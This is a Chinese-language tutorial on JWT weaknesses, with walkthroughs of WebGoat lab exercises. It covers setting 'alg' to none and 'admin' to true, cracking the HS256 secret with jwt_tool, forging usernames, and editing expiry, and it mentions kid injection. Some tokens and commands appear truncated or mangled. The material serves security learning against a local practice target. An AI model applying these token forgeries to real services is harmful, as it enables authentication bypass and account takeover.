JWT漏洞学习
JWT漏洞学习
什么是JWT?
JWT是JSON Web Token的缩写,它是⼀串带有声明信息的字符串,由服务端使⽤加密算法对信息签名,以保证其完整性和不可伪造性。Token⾥可以包含所有必要的信息,这样服务端就⽆需保存任何关于⽤户或会话的信息了。
JWT可⽤于⾝份认证,会话状态维持以及信息交换等任务。
JSON Web令牌结构是什么?
JWT由三部分构成,分别称为header,payload和signature,各部分⽤“.”相连构成⼀个完整的Token,形如
下⾯⼀张图明确显⽰了该结构:
令牌是base64编码的,由三部分组成header.claims.signature。该令牌的解码版本为:
{
"alg":"HS256",
"typ":"JWT"
}
.
{
"exp": 1416471934,
"user_name": "user",
"scope": [
"read",
"write"
]
,
"authorities": [
"ROLE_ADMIN",
"ROLE_USER"
],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"client_id": "my-client-with-secret"
}
.
qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk
令牌数据解码
由于Header和Payload部分是使⽤可逆base64⽅法编码的,因此任何能够看到令牌的⼈都可以读取数据。
要读取内容,您只需要将每个部分传递给base64解码函数,以下是⼀些⽰例:
Linux base64⼯具(带有-d标志⽤于解码):
学javascript前要学什么
$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"HS256"}
浏览器JavaScript控制台:
>> atob("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
"{"typ":"JWT","alg":"HS256"}"
Powershell:
PS C:\> [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Strin
g("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"))
{"typ":"JWT","alg":"HS256"}
Pyhton:
>>> import base64
>>> print(base64.b64decode('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'))
{"typ":"JWT","alg":"HS256"}
靶场练习
靶场下载
实验使⽤靶场:WEBGOAT
如何运⾏:
java -jar webgoat-server-8.0.0.M17.jar
访问localhost:8080/WebGoat/即可。
特征识别
⾸先我们需要识别应⽤程序正在使⽤JWT,最简单的⽅法是在代理⼯具的历史记录中搜索JWT正则表达式:
[= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*        -⽹址安全的JWT版本
[= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*  -所有JWT版本(可能误报)
以burpsuite举例,在Proxy-HTTP history-File by search term中填⼊上诉正则表达式,切记勾选“区分⼤⼩写”和“正则表达式”选项:
靶场实验
Page4
GET /WebGoat/JWT/votings HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
Connection: close
Referer: localhost:8080/WebGoat/start.mvc
Cookie: access_JpYXQiOjE2MDYzNTgwNzAsImFkbWluIjoiZmFsc
2UiLCJ1c2VyIjoiVG9tIn0.uuxUOl2GoZaVEY8TsKJte0adKMGVd5Eywu3ys-nNIetgg0vfPLC68mMoat-Pp9z20it0AzFfEEEy2YgIZXJKEg; JSESSIONID=6C55033D X-Forwarded-For: 127.0.0.1
token:
解码:
Headers = {
"alg": "HS512"
}
Payload = {
"iat": 1606358070,
"admin": "false",
"user": "Tom"
}
Signature = "uuxUOl2GoZaVEY8TsKJte0adKMGVd5Eywu3ys-nNIetgg0vfPLC68mMoat-Pp9z20it0AzFfEEEy2YgIZXJKEg"
使⽤JWT_TOOL进⾏漏洞检测
显⽰存在"alg":"none"
更改Headers 中"alg"为none,Payload中"admin"为true.
注: 该平台不能把alg更改为none,有些师傅使⽤该平台得到token也是神了,可以使⽤burpsuite中的Decoder模块,⿇烦模仿别⼈博客的师傅⾃⼰实验⼀下好吧。
Page5
{
"typ":"JWT",
"alg":"HS256"
}
.
{
"iss":"WebGoat Token Builder",
"iat":1524210904,
"exp":1618905304,
"aud":"",
"sub":"tom@webgoat",
"username":"Tom",
"Email":"tom@webgoat",
"Role":[
"Manager",
"Project Administrator"]
}
.
m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0
使⽤JWT_TOOL跑密钥。
python3 jwt_tool.Jpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2Vybm
然后更改Payload中“username”为WebGoat,使⽤破解的密钥victory⽣成新的token。
Page7
从题⽬⼤意来讲是以Tom的⾝份来购买这些物品,查看他给出的链接: ⾥⾯有⼀串token
解码:
考虑到题⽬给出的是令牌刷新,所以这因为是令牌过期的问题,直接查看"iat"和"exp"
使⽤python查看当前时间
>python3
>import time;
>time.time();
修改完exp之后把"admin"改为true,"alg"改为none,可以使⽤burpsuite的JOSEPH插件进⾏改编码
请求包添加“Authorization” 字段,然后把token加⼊即可。
Page8
请求包如下:
token:
常规思路是把"alg"改为none,username改为Tom.另外⼀种应该是使⽤"kid"进⾏注⼊。(没试验过)相关资料